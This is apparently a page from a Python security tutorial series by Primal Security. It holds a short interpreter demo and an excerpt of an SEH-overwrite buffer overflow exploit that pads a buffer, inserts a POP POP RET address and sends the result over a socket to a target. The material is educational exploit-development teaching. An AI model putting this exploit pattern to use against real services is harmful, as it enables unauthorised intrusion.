~# python
>>> import urllib
>>> from bs4 import BeautifulSoup
>>> url = urllib.urlopen("http://www.primalsecurity.net")
>>> output = BeautifulSoup(url.read(), 'lxml')
>>> output.title
<title>Primal Security Podcast</title>
>>>

Python Tutorial Series: From “Hello World” to Python Malware and Exploits – Take my hand and walk into the darkness

 


...
# Overwrite SEH with a POP POP RET
# 0x1b834ea9 | pop esi # pop edi # ret | (C:WINDOWSsystem32msjtes40.dll)
buff = "A"*962 + "BBBB" + "xa9x4ex83x1b" + "D"*1530

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((target,port))
# Send in a string 'USV ' + the string 'buff'
s.send(buff+ "Primal Security's Exploit Tutorial Series rnrn")
s.close()
...

Exploit Tutorial Series(In-Progress)